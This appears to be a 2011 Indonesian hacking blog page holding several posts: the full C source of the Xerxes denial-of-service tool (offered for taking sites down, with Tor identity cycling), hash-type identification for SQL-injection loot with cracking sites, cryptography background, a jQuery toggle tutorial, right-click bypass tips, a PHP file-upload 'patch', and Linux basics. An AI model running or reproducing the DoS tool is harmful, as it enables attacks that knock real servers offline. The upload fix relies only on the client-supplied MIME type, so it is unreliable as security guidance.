thera

hacker_hacker_hacker_hacker_hacker_hacker

Sabtu, 20 Agustus 2011

DDOS Tools: Xerxes DOS Tools

Berikut ini adalah source code Xerxes DOS (DDOS Tools) yang digunakan untuk melakukan DOS terhadap server-server. Digunakan oleh The Jester untuk takedown situs-situs, langsung aja ini source codenya:
/* XerXes – Most powerful dos tool – THN (http://pastebin.com/aWZMbjSU) */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int make_socket(char *host, char *port) {
    struct addrinfo hints, *servinfo, *p;
    int sock, r;
//    fprintf(stderr, “[Connecting -> %s:%s\n", host, port);
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
        exit(0);
    }
    for(p = servinfo; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(p == NULL) {
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "No connection could be made\n");
        exit(0);
    }
    if(servinfo)
        freeaddrinfo(servinfo);
    fprintf(stderr, "[Connected -> %s:%s]\n”, host, port);
    return sock;
}
void broke(int s) {
    // do nothing
}
#define CONNECTIONS 8
#define THREADS 48
void attack(char *host, char *port, int id) {
    int sockets[CONNECTIONS];
    int x, g=1, r;
    for(x=0; x!= CONNECTIONS; x++)
        sockets[x]=0;
    signal(SIGPIPE, &broke);
    while(1) {
        for(x=0; x != CONNECTIONS; x++) {
            if(sockets[x] == 0)
                sockets[x] = make_socket(host, port);
            r=write(sockets[x], “\0″, 1);
            if(r == -1) {
                close(sockets[x]);
                sockets[x] = make_socket(host, port);
            } else
//                fprintf(stderr, “Socket[%i->%i] -> %i\n”, x, sockets[x], r);
            fprintf(stderr, “[%i: Voly Sent]\n”, id);
        }
        fprintf(stderr, “[%i: Voly Sent]\n”, id);
        usleep(300000);
    }
}
void cycle_identity() {
    int r;
    int socket = make_socket(“localhost”, “9050″);
    write(socket, “AUTHENTICATE \”\”\n”, 16);
    while(1) {
        r=write(socket, “signal NEWNYM\n\x00″, 16);
        fprintf(stderr, “[%i: cycle_identity -> signal NEWNYM\n", r);
        usleep(300000);
    }
}
int main(int argc, char **argv) {
    int x;
    if(argc !=3)
        cycle_identity();
    for(x=0; x != THREADS; x++) {
        if(fork())
            attack(argv[1], argv[2], x);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}

Semoga informasi ini bermanfaat sebagai pembelajaran yang lebih baik

Tipe-Tipe Hash & Enkripsi

Siang sobat berikut ini adalah postingan pertama saya jadi harap maklum kalo tulisan nya jelek dan susah di pahami.
Mungkin teman – teman yang sudah pada jago sql injection pasti pernah kesulitan dalam mengenali tipe hash yg pernah ditemukan ketika melakukan sql injection. Hash erat kaitannya dengan enkripsi. Nah apakah arti hash itu sendiri ? Hash adalah hasil enkripsi dari sebuah password atau informasi yang dianggap penting. Sedangkan Enkripsi adalah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus ( http://id.wikipedia.org/wiki/Enkripsi ).
Pada postingan pertama sya di BinusHacker ini saya akan membahas tipe – tipe hash, semoga postingan saya ini dapat berguna bagi kita semua . Ada beberapa tipe hash diantaranya :
1.MD4 (Message-Digest algortihm 4)
- MD4 dibuat oleh Ronald Rivest pada Oktober 1990, MD4 adalah hash function yang dipakai sebelum MD5, namun karena banyaknya kelemahan MD4 membuatnya diganti oleh MD5.
- panjang 16 bytes (32 karakter)
- contoh : 31d6cfe0d16ae931b73c59d7e0c089c0
2. MD5 (Message-Digest algortihm 5)
- MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996 (http://id.wikipedia.org/wiki/MD5)
- digunakan di phpBB v2.x, Joomla versi dibawah 1.0.13 dan digunakan oleh beberapa CMS dan forum
- panjangnya 16 bytes (32 karakter)
- contoh : c4ca4238a0b923820dcc509a6f75849b
3. MD5($pass.$salt)
- Digunakan di WB News, Joomla versi 1.0.13 dan versi diatasnya
- panjang 16 bytes (32 karakter)
- hash yang satu ini dimulai dari hashnya duluan kemudian dilanjutkan oleh saltnya
- contoh : 6f04f0d75f6870858bae14ac0b6d9f73
4. MD5($salt.$pass)
- Digunakan di osCommerce, AEF, Gallery dan beberapa CMS lainnya
- panjang 16 bytes (32 karakter)
- hash yang satu ini dimulai dari saltnya duluan kemudian dilanjutkan oleh hashnya
- contoh : f190ce9ac8445d249747cab7be43f7d
5. md5(md5($pass).$salt)
- Digunakan di vBulletin, IceBB dan cms lainnya
- panjang 16 bytes (32 karakter)
- contoh : 6011527690eddca23580955c216b1fd2
6. MD5(WordPress)
- Digunakan di wordpress
- panjangnya 17 bytes (34 karakter)
- hashnya dimulai oleh tanda $P$ kemudian dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah huruf “B”) kemudian dilanjutkan oleh saltnya (8 karakter yg disusun secara acak, dalam contoh ini saltnya adalah “12345678″) lalu dilanjutkan oleh hashnya
- contoh : $P$B123456780BhGFYSlUqGyE6ErKErL01
7. MD5(phpBB3)
- Digunakan di CMS phpBB 3.x.x
- panjangnya 17 bytes (34 karakter)
- hashnya oleh tanda $H$ lalu dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah nomor “9″), kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) kemudian dilanjutkan oleh hashnya
- contoh : $H$9123456785DAERgALpsri.D9z3ht120
8. SHA-1(Secure Hash Algorithm)
- Diciptakan oleh National Institue of Standars and Technology atau U.S. Federal Information Processing Standard digunakan oleh beberapa CMS dan beberapa forum
- panjangnya 20 bytes (40 karakter)
- contoh : 356a192b7913b04c54574d18c28d46e6395428ab
9. SHA-256(Secure Hash Algorithm)
- hashnya dimulai oleh tanda $5$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
- panjang 55 karakter
- contoh : $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi…
10. SHA-512(Secure Hash Algorithm)
- hashnya dimulai oleh tanda $6$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
- panjang 98 karakter
- contoh : $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm…
11. Base64
- algoritma yg berfungsi untuk encoding dan decoding suatu data ke dalam format ASCII. panjang maksimal 64 karakter hashnya terdiri dari A..Z, a..z dan 0..9, serta ditambah dengan dua karakter terakhir yang bersimbol yaitu + dan / serta satu buah karakter sama dengan “=”
- digunakan di beberapa forum dan CMS
- contoh : Y3liZXJfY3JpbWluYWw=
Situs untuk mengcrack hash:
http://www.md5decrypter.co.uk/ => decrypt MD5
http://www.md5decrypter.co.uk/sha1-decrypt.aspx => decrypt SHA1
http://base64-encoder-online.waraxe.us/ => decode/encode base64
dan masih banyak lagi
Sumber: http://postinganane.wordpress.com

Penjelasan Lanjutan

1.SHA-1
Dalam kriptografi, SHA-1 adalah sebuah fungsi has kriptografi yang dirancang oleh National Security Agency (NSA) dan diterbitkan oleh NIST sebagai US Federal Information Processing Standard . SHA singkatan dari Secure Hash Algorithm. Tiga SHA algoritma disusun berbeda dan dibedakan sebagai:
  • SHA-0
  • SHA-1
  • SHA-2
HA-1 menghasilkan 160-bit digest dari pesan dengan panjang maksimum (2 64-1) bit. SHA-1 adalah berdasarkan prinsip sama dengan yang digunakan oleh Ronald L. Rivest dari MIT dalam desain MD4 dan MD5 mencerna pesan algoritma, namun memiliki desain yang lebih konservatif.

Spesifikasi asli dari algoritma ini diterbitkan pada tahun 1993 sebagai Secure Hash Standard, FIPS PUB 180 standar lembaga pemerintah, oleh US NIST (Lembaga Nasional Standar dan Teknologi). Versi ini sekarang sering disebut sebagai SHA-0. Itu ditarik oleh NSA lama setelah publikasi dan telah digantikan oleh versi revisi, yang diterbitkan pada tahun 1995 dalam FIPS PUB 180-1 dan umumnya disebut sebagai SHA-1. SHA-1 berbeda dari SHA-0 hanya oleh rotasi bitwise tunggal dalam jadwal pesan yang fungsi kompresi , ini dilakukan, menurut NSA, untuk memperbaiki cacat dalam algoritma asli yang mengurangi keamanan kriptografi nya. Namun, NSA tidak memberikan penjelasan lebih lanjut atau mengidentifikasi cacat yang telah dikoreksi. Kelemahan yang kemudian dilaporkan di kedua-SHA 0 dan SHA-1. SHA-1 tampaknya memberikan resistensi yang lebih besar untuk serangan, mendukung pernyataan bahwa perubahan NSA meningkatkan keamanan.
2. X.509
Dalam kriptografi , X.509 adalah ITU-T standar untuk infrastruktur kunci publik (PKI) untuk single sign-on (SSO) dan Manajemen Privilege Infrastruktur (PMI). X.509 menentukan, antara lain, format standar untuk sertifikat kunci publik , daftar pencabutan sertifikat , atribut sertifikat , dan validasi algoritma jalur sertifikasi .
X.509 awalnya diterbitkan pada tanggal 3 Juli 1988 dan mulai bekerja sama dengan X.500 standar.. Ini mengasumsikan suatu sistem hirarkis yang ketat dari otoritas sertifikat (CA) untuk menerbitkan sertifikat Hal ini bertentangan dengan kepercayaan web model, seperti PGP , dan setiap orang (tidak hanya khusus CA) dapat mendaftar dan dengan demikian membuktikan keabsahan kunci sertifikat ‘orang lain. Versi 3 dari X.509 termasuk fleksibilitas untuk mendukung topologi lainnya seperti jembatan dan jerat ( RFC 4158 ). Hal ini dapat digunakan dalam peer-to-peer, OpenPGP -seperti web kepercayaan , tetapi jarang digunakan dengan cara yang pada tahun 2004. Sistem X.500 belum sepenuhnya dilaksanakan, dan IETF ‘s-Public Key Infrastructure (X.509), atau PKIX, kelompok kerja telah disesuaikan dengan standar organisasi yang lebih fleksibel dari Internet. Bahkan, istilah sertifikat X.509 biasanya mengacu pada IETF’s PKIX Sertifikat dan CRL Profil standar sertifikat X.509 v3, sebagaimana tercantum dalam RFC 5280 , sering disebut sebagai PKIX untuk Public Key Infrastructure (X.509).
Struktur sertifikat
Struktur dari X.509 v3 sertifikat digital adalah sebagai berikut:
  • Sertifikat
  • Versi
  • Nomor seri
  • Algoritma ID
  • Emiten
  • Keabsahan
  • Tidak Sebelum
  • Tidak Setelah
  • Subyek
  • Info Perihal Kunci Publik
  • Algoritma Kunci Publik
  • Subjek Kunci Publik
  • Emiten Unique Identifier (Opsional)
  • Subject Unique Identifier (Opsional)
  • Ekstensi (Opsional)
  • Algoritma Tandatangan Sertifikat
  • Sertifikat Signature
Penerbit dan pengidentifikasi unik subjek diperkenalkan dalam versi 2, Extensions dalam Versi 3. Namun demikian, jumlah Serial harus unik untuk setiap sertifikat yang diterbitkan oleh CA (sebagaimana disebutkan dalam RFC 2459 ).
3. RSA
Dalam kriptografi , RSA (yang berarti Rivest , Shamir dan Adleman yang pertama kali menggambarkannya umum) adalah algoritma untuk kriptografi kunci-publik [1] . Ini merupakan algoritma pertama yang diketahui cocok untuk menandatangani serta enkripsi, dan merupakan salah satu kemajuan besar pertama dalam kriptografi kunci publik. RSA secara luas digunakan dalam perdagangan elektronik protokol, dan diyakini aman diberikan cukup panjang kunci dan penggunaan mutakhir implementasi up.
Operasi
Algoritma RSA melibatkan tiga langkah:
  • Generasi kunci,
  • Enkripsi
  • Dekripsi.
4. Cast-128
Dalam kriptografi , Cast-128 (alternatif CAST5) adalah cipher blok yang digunakan dalam sejumlah produk, terutama sebagai standar cipher dalam beberapa versi GPG dan PGP. Algoritma ini didirikan pada 1996 oleh Carlisle Adams dan Stafford Tavares dengan menggunakan prosedur desain Cast; anggota lain dari keluarga Cast dari cipher, Cast-256 (mantan AES kandidat) diturunkan dari Cast-128. Menurut beberapa sumber, nama Cast berdasarkan inisial dari penemu nya, meskipun Bruce Schneier penulis laporan klaim bahwa “nama harus menyulap gambar acak” (Schneier, 1996).
Cast-128 adalah 12 – atau 16-bulat Feistel jaringan dengan 64 – bit ukuran blok dan ukuran kunci antara 40-128 bit (tapi hanya di-bit bertahap 8). 16 ronde penuh digunakan ketika ukuran kunci lebih panjang dari 80 bit. Komponen termasuk besar 8 × 32-bit kotak S berdasarkan fungsi membungkuk , tergantung pada rotasi kunci, modular penambahan dan pengurangan, dan XOR operasi. Terdapat tiga jenis fungsi bolak bulat, tetapi mereka adalah sama dalam struktur dan berbeda hanya dalam pilihan operasi yang tepat (penambahan, pengurangan atau XOR) pada berbagai titik. Meskipun Penitipan memegang paten pada prosedur desain Cast, Cast-128 tersedia di seluruh dunia pada dasar bebas royalti untuk dan non-komersial menggunakan komersial.

5. Enkripsi ElGamal
Pada kriptografi , sistem enkripsi ElGamal adalah suatu algoritma enkripsi kunci asimetris untuk kriptografi kunci-publik yang didasarkan pada perjanjian-kunci Diffie Hellman . ElGamal enkripsi yang digunakan dalam bebas GNU Privacy Guard perangkat lunak, versi terbaru PGP , dan lainnya algoritma. The Digital Signature Algorithm adalah varian dari skema tanda tangan ElGamal , yang tidak harus bingung dengan enkripsi ElGamal. Enkripsi ElGamal dapat didefinisikan lebih dari setiap grup siklik G. Its keamanan tergantung pada kesulitan masalah tertentu dalam G berhubungan dengan komputasi logaritma diskrit.
Enkripsi ElGamal terdiri dari tiga komponen:
  • Generator kunci
  • Algoritma enkripsi,
  • Algoritma dekripsi.
6. MD5
Dalam kriptografi , MD5 (Message-Digest algorithm 5) banyak digunakan adalah fungsi hash kriptografi dengan 128 – bit nilai hash. Ditentukan dalam RFC 1321 , MD5 telah digunakan dalam berbagai jenis aplikasi keamanan, dan juga sering digunakan untuk memeriksa integritas file . Namun, telah terbukti bahwa MD5 tidak tabrakan tahan ; seperti itu, MD5 tidak cocok untuk aplikasi seperti SSL sertifikat atau signature digital yang bergantung pada properti ini. Sebuah hash MD5 biasanya dinyatakan sebagai 32-digit heksadesimal nomor.
MD5 adalah salah satu dari serangkaian pesan mencerna algoritma didesain oleh Profesor Ronald Rivest dari MIT (Rivest, 1994). Ketika pekerjaan analitik menunjukkan bahwa pendahulu MD5′s MD4 itu mungkin tidak aman, MD5 dirancang pada tahun 1991 untuk menjadi pengganti aman. (Kelemahan memang kemudian ditemukan di MD4 oleh Hans Dobbertin .)
Keamanan fungsi hash MD5 sangat dikompromikan. Sebuah serangan tabrakan ada yang bisa menemukan tabrakan dalam beberapa detik pada komputer biasa (kompleksitas dari 2 24,1). [14] Lebih jauh, ada juga serangan-awalan tabrakan dipilih yang dapat menghasilkan tabrakan dua dipilih berbeda masukan sewenang-wenang, dalam jam komputer reguler tunggal (kompleksitas 2 39).
Algoritma
Proses MD5 pesan variabel-panjang menjadi output tetap-panjang 128 bit. Pesan masukan dipecah menjadi potongan-bit blok 512 (enam belas 32-bit little endian integer); pesan empuk sehingga panjangnya dibagi oleh 512. padding bekerja sebagai berikut: bit tunggal pertama, 1, adalah ditambahkan ke bagian akhir pesan. Ini diikuti oleh sebanyak nol sebagai diwajibkan membawa panjang pesan sampai dengan 64 bit kurang dari kelipatan 512. Bit-bit sisa diisi dengan sebuah integer 64-bit yang mewakili panjang pesan asli, di bit.
Algoritma MD5 utama beroperasi pada kondisi 128-bit, dibagi menjadi empat-bit kata-kata 32, dilambangkan A, B, C dan D. Ini adalah untuk melakukan konstanta tetap tertentu. Algoritma utama kemudian beroperasi pada masing-masing blok pesan 512-bit pada gilirannya, setiap blok memodifikasi negara. Pengolahan blok pesan terdiri dari empat tahap yang sama, disebut putaran, setiap putaran terdiri dari 16 operasi serupa berdasar pada fungsi linear-non F, tambahan modular , dan rotasi ke kiri. Gambar 1 mengilustrasikan satu operasi dalam putaran. Ada empat kemungkinan fungsi F, berbeda yang digunakan dalam setiap putaran:

RC2/40
Dalam kriptografi , RC2 adalah cipher blok yang dirancang oleh Ron Rivest di 1987 . “RC” singkatan dari “Ron’s Code” atau “Rivest Cipher”; cipher lainnya yang dirancang oleh Rivest termasuk RC4 , RC5 dan RC6 .
Pengembangan RC2 disponsori oleh Lotus , yang sedang mencari kebiasaan sandi yang, setelah evaluasi oleh NSA , dapat diekspor sebagai bagian dari Lotus Notes perangkat lunak. NSA menyarankan beberapa perubahan, yang Rivest dimasukkan. Setelah negosiasi lebih lanjut, cipher telah disetujui untuk ekspor di 1989 . Seiring dengan RC4, RC2 dengan 40-bit ukuran kunci dirawat baik di bawah US peraturan ekspor untuk kriptografi .
Awalnya, rincian algoritma dirahasiakan – eksklusif untuk RSA Security – tetapi pada Januari 29 , 1996 , kode sumber untuk RC2 adalah anonim diposting ke Internet pada Usenet forum, sci.crypt . Sebuah pengungkapan yang sama telah terjadi sebelumnya dengan algoritma RC4. Tidak jelas apakah poster itu memiliki akses dengan spesifikasi atau apakah telah reverse engineered .
RC2 adalah 64-bit blok cipher dengan ukuran variabel kunci . 18 Its putaran diatur sebagai sumber-berat jaringan Feistel , dengan 16 putaran dari satu jenis (pencampuran) diselingi oleh dua putaran jenis lain (dihaluskan). Sebuah putaran pencampuran terdiri dari empat aplikasi transformasi MIX, seperti ditunjukkan pada diagram.


Source: http://vj-arif.blogspot.com/2010/05/macam-macam-enkripsi-yang-digunakan.html
Semoga bermanfaat all

Membuat Toggle Sederhana: Css dan jQuery

Selamat sore kawan kawan :D
Bertemu dengan saya angga a.k.a anggamovic, yap tak di duga ta dinyana diriku masuk kedalam author di sini ( gayanye….. wkwkkw)
=========== Introduction ============
Oke oke…. disini saya mungkin hanya sedikit menyinggung soal hacking, kenapa? ya karena saya sedikit menguasai soal hacking, nah sebagai gantinya saya akan lebih menitik beratkan kedalam pembahasan web desain / developer.
Menurut Wikipedia CSS dan JQUERY adalah sebagai berikut
CSS
Cascading Style Sheet (CSS) merupakan salah satu bahasa pemrograman web untuk mengendalikan beberapa komponen dalam sebuah web sehingga akan lebih terstruktur dan seragam.Untuk mengawali perjumpaan kita, sebagai salam hangat ceritanya… saya akan memberi sebuah tutor ringan, yaitu membuat toggle sederhana dengan css dan jquery.
Sama halnya styles dalam aplikasi pengolahan kata seperti Microsoft Word yang dapat mengatur beberapa style, misalnya heading, subbab, bodytext, footer, images, dan style lainnya untuk dapat digunakan bersama-sama dalam beberapa berkas (file).[1] Pada umumnya CSS dipakai untuk memformat tampilan halaman web yang dibuat dengan bahasa HTML dan XHTML.
CSS dapat mengendalikan ukuran gambar, warna bagian tubuh pada teks, warna tabel, ukuran border, warna border, warna hyperlink, warna mouse over, spasi antar paragraf, spasi antar teks, margin kiri, kanan, atas, bawah, dan parameter lainnya.[1] CSS adalah bahasa style sheet yang digunakan untuk mengatur tampilan dokumen. Dengan adanya CSS memungkinkan kita untuk menampilkan halaman yang sama dengan format yang berbeda.
JQUERY
jQuery adalah pustaka JavaScript kecil bersumber terbuka yang menekankan pada interaksi antara JavaScript dan HTML. Pustaka ini dirilis pada Januari 2006 di BarCamp NYC oleh John Resig dan berlisensi ganda di bawah Lisensi MIT dan GPL
Yuk, lanjut ke tutorialnya setelah mengetahui informasi mengenai CSS dan JQUERY. Berikut detail tutorialnya,
toggle
==> Step 1. Wireframe & Style <==
Kita mulai dengan tag h2 dengan link sebagai “trigger” untuk efek kita.
HTML
<h2><a href="#">Toggle Header</a></h2>
<div>
	<div>
		<h3>Content Header</h3>
		<!--Content-->
	</div>
</div>
CSS
h2.trigger {
	padding: 0 0 0 50px;
	margin: 0 0 5px 0;
	background: url(h2_trigger_a.gif) no-repeat;
	height: 46px;
	line-height: 46px;
	width: 450px;
	font-size: 2em;
	font-weight: normal;
	float: left;
}
h2.trigger a {
	color: #fff;
	text-decoration: none;
	display: block;
}
h2.trigger a:hover { color: #ccc; }
h2.active {background-position: left bottom;}
/*--When toggle is triggered, it will
shift the image to the bottom to show its "opened" state--*/
.toggle_container {
	margin: 0 0 5px;
	padding: 0;
	border-top: 1px solid #d6d6d6;
	background: #f0f0f0 url(toggle_block_stretch.gif) repeat-y left top;
	overflow: hidden;
	font-size: 1.2em;
	width: 500px;
	clear: both;
}
.toggle_container .block {
	padding: 20px;
/*--Padding of Container--*/
	background: url(toggle_block_btm.gif) no-repeat left bottom;
 /*--Bottom rounded corners--*/
}
==> Step 2. Aktifkan Toggle Dengan jQuery <==
$(document).ready(function(){

	//Hide (Collapse) the toggle containers on load
	$(".toggle_container").hide(); 

	//Switch the "Open" and "Close" state per click then slide up/down
 (depending on open/close state)
	$("h2.trigger").click(function(){
		$(this).toggleClass("active").next().slideToggle("slow");
		return false;
//Prevent the browser jump to the link anchor
	});

});
Untuk demo:
http://anggamovic.co.tv/demo/toggle.htm
Oke, di cukupkan pembahasanya untuk sekarang, kita akan menyelam kedalam dunia web desain di pertemuan yang akan datang…
So see ya…
Have a nice day and GBU!

Mengatasi Proteksi Klik Kanan Pada Website

Bagi orang yang sering berselancar di dunia internet, mungkin pernah menemukan sebuah website yang tidak diperbolehkan untuk mengklik kanan mouse dengan memasang sebuah script dari java script agar isi posting tidak dapat di copy dengan klik kanan mouse, memang sungguh sangat menjengkelkan, karena terkesan website tersebut terlalu menjaga agar postingnya tidak dapat di copy, sementara posting tersebut mungkin dibutuhkan untuk menyelesaikan tugas sekolah.
Tapi apapun yang mereka lakukan untuk memprotek posting mereka agar tidak dapat di copy, sebenarnya percuma dan sia sia saja. Karena bagaimanapun juga tetap saja posting mereka dapat di copy dan disimpan di file pengunjung.

Ada beberapa cara untuk mengcopy website mereka antaralain :
  1. Dengan menyimpan Website mereka ke file berbentuk HTML, caranya, pada brows klik menu file, Save Page As, maka website mereka dapat tersimpan beserta posting mereka di file komputer kita dan kita dapat membukannya secara off line
  2. Dengan menyorot artikel mereka kemudian menekan tombol Ctrl+C, kemudian di pastekan di program Notepad, maka isi posting mereka sudah tercopy ke komputer kita. apalagi bila dipaste di microsoft word, maka seluruh isi posting mereka berikut gambar-gambarnya dapat kita ambil menjadi sebuah file word
  3. Dengan cara menggunakan tombol Print Screen, kemudian di pastekan dengan menggunakan program adobe Photoshop atau Pain brush dan simpan dalam file berbentuk tif kemudian dengan menggunakan fasiltas menu Recognize text using OCR, lalu setelah menjadi teks gunakan menu Send text to word.
  4. Dapat juga dengan cara mendisable atau menon aktifkan program java script, yang mencegah klik kanan dengan menggunakan sebuah addons mozilla firefox, nama program tersebut adalah RightToClick, silahkan Download Disini bila keluar pesan tidak dapat klik kanan, centrang kotak stop Klik kanan kemudian klik Ok, maka anda bisa menggunakan klik kanan mouse sepuasnya
  5. Bisa dilakukan dengan cara “Mendisable JavaScript“, disemua browser ada fungsi ini. Silakan lakukan eksperimen untuk mencari dimana letak informasi mengenai “Disable JavaScript“, berikut ulasan penjelasannya:

    Disable JavaScript in Internet Explorer (IE)

    1) Buka Internet Explorer (IE)
    2) Pada Menu Navigasi Klik: ToolsInternet Options
    3) Pilih Pada: Security TabCustom Level
    4) Scroll Down sampai ketemu “Active Scripting” dan Klik “Disable
    5) Ok.

    Disable JavaScript Mozilla Firefox

    1) Buka Mozilla Firefox
    2) Pada Navigasi Menu Klik: ToolsOptions
    3) Kemudian Klik: Content tab, Un-checkEnable JavaScript
    4) Ok

    Disable JavaScript Google Chrome

    1) Pada Google Chrome Shortcut, Klik Kanan -> Pilih Properties.
    2) Pada field textbox “Targeted file“, tambahkan “-disable-java” pada bagian belakang.
    "C:\Documents and Settings\Administrator.SNAKE\Local Settings\Application Data\Google\Chrome\Application\chrome.exe" -disable-javascript
Jadi sebenarnya percuma saja kan fasilitas tersebut dipasang di website

PHP Arbitrary File Upload Simple Patching

Saya akan membahas tentang cara simple mempatch PHP Arbitrary File Upload.
PHP Arbitary File Upload Patch
Kebanyakan website yang vuln diupload memiliki garis besar seperti ini:
Contoh simple upload.php file upload.
<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Contoh form yang dipake dalam file index untuk upload:
<form name="upload" action="upload.php" method="POST" ENCTYPE="multipart/formdata">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
Disini tidak ada code yang memfilter upload filetype.
Jadi kita bisa langsung saja upload: shell.php
Patching yg bisa dilakukan adalah menambahkan filter filetype dalam script upload.php
Contohnya:
<?php
if($_FILES['userfile']['type'] != "image/gif") {
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
Untuk “images/gif” bisa diganti dengan “images/jpg” dll…
Kita liat backgound request uploadnya
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data;
Content-Length: 156
Content-Disposition: form-data; name="userfile"; filename="shell.php"
...
...
-
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.2-pl6-gentoo
Connection: close
Content-Type: text/html
Sorry, we only allow uploading GIF images
Hehehe..
Happy Patching..

Belajar Dasar-Dasar Linux

Belajar dasar-dasar linux ini saya khususkan untuk mengenal Linux dari dasar. Untuk pengenal Linux tingkatan menengah dan lanjutan akan Saya buatkan dalam thread lanjutan tersendiri. Thread ini akan membahas mengenai perintah-perintah dasar Linux. Tetapi maaf, thread ini tidak membuat cara installasinya, silakan lihat thread yang lain untuk mengetahui cara installasinya. Dan karena keterbatasan waktu Saya, maka thread ini akan Saya lengkapi dalam beberapa hari, jadi tidak akan diselesaikan dalam 1 waktu. Tidak jadi masalah khan? Selamat membaca dan belajar bersama sahabat BinusHacker di www.binushacker.net
Distro Linux yang akan Saya gunakan dalam contoh ini adalah Linux Mandriva 2006, untuk Linux yang lain pun sama saja caranya, perbedaannya sangat sedikit kok. Oh iya, dalam pembahasan ini Saya akan mengajarkan Linux secara text based, bukan GUI. Karena menurut Saya, kekuatan utama Linux terletak dari CLI (Common Line Interface).

Harap maklum jika pembahasannya kurang jelas, karena Saya pun masih awam di Linux dan belum mahir menggunakan Linux. Jadi mari Kita lengkapi thread ini mengenai dasar-dasar Linux.
Daftar Pembahasan:
  1. Struktur Folder di Linux
  2. Persiapan Installasi Linux
  3. Perintah Dasar Linux
  4. Fungsi Keyboard di Linux
  5. Membuat user dan group
  6. User Permissions file dan direktori di Linux
  7. Memberikan permission kepada file dan direktori
  8. Contoh kasus User Permission
  9. Menggunakan VI Teks Editor
  10. Instalasi Program di Linux
1. Struktur Foder Di Linux
Seperti Windows yang mempunyai struktur folder tersendiri (mis: \Windows, \Program files, \Document and settings), di Linux pun mempunyai struktur file tersendiri. Berikut adalah struktur folder yang ada di Linux
/ = root
|-bin = binary
|-boot = kernel save
|-etc = file-file konfigurasi
|-home = user data file
|-lib = library
|-usr = aplikasi
|-var = mail/log/database
|-mnt = mount point
|-tmp = temporary
|-sbin = binary super user
2. Persiapan Installasi Linux (Mandriva 2006)
  1. Media untuk insallasi dapat berupa: CD/DVD, HDD dan Network (ftp, http, nfs)
    Partisi di Linux, minimal terdiri dari 2 partisi, yaitu:
    1. Partisi / (root)
      Partisi ini digunakan sebagai system dari Linux itu sendiri. Partisi ini dapat bertipe: ext3, ext2, reiserfs, dsb. Saya menyarankan menggunakan tipe partisi ext3, karena bersifat Journalized FS.
    2. Partisi swap
      Partisi ini digunakan sebagai virtual memory, bila RAM yang ada tidak mencukupi. Ukuran minimal yang disarankan adalah 2X ukuran RAM, tetapi bila RAM Anda di atas 1 GB, tidak harus 2X ukuran RAM.
    3. Partisi home
      Partisi home ini tidak mesti ada, tetapi Saya menyarankan untuk membuat partisi ini, karena dengan adanya partisi ini, maka dokumen-dokumen Anda akan dipisahkan dari partisi / (root). Apa keuntungannya? Bila Linux Anda diinstall ulang, atau berganti windows, maka data Anda tidak akan hilang. Ini sama saja dengan Anda membuat 2 partisi di Windows, yaitu partisi untuk Windows dan partisi untuk dokumen Anda. Partisi home ini dapat bertipe ext3, ext2, reiserfs, dsb.
  2. Bagi Anda yang menggunakan CD/DVD untuk installasi Linux, maka Anda cukup boot dari CD/DVD tersebut untuk melakukan installasi. Karena CD/DVD Linux pada umumnya bersifat bootable
  3. Tetapi bagi Anda yang ingin melakukan install via jaringan (network), Anda cukup membuat boot disk ataupun bootable Flash Disk. Pembuatan boot disk harus dilakukan di komputer yang telah terinstall Linux. Berikut caranya:
    1. Untuk membuat boot disk, diperlukan file network.img dan network_drivers.img. Untuk membuat bootable Flash Disk, diperlukan file all.img. Biasanya file-file tersebut terletak di direktori install/images yang berada di CD/DVD Mandriva atau di direktori Mandriva yang terletak di server.
    2. Copy file tersebut ke disket atau ke flash disk, caranya adalah sebagai berikut:
      1. Untuk disket, harap format dulu disketnya. Ini untuk menghindari error yang terjadi pada disket. Cara format disket, ketik di Console: mformat a:
      2. Kemudian, image yang sudah dibuat tersebut harus dicopy ke disket atau flash disk. Untuk disket, copy image tersebut dengan perintah:
        $ dd if=network.img of=/dev/fd0
        $ dd if=network_drivers.img of=/dev/fd0  Network.img untuk disket 1 (Disket booting) dan network_drivers.img untuk disket 2.
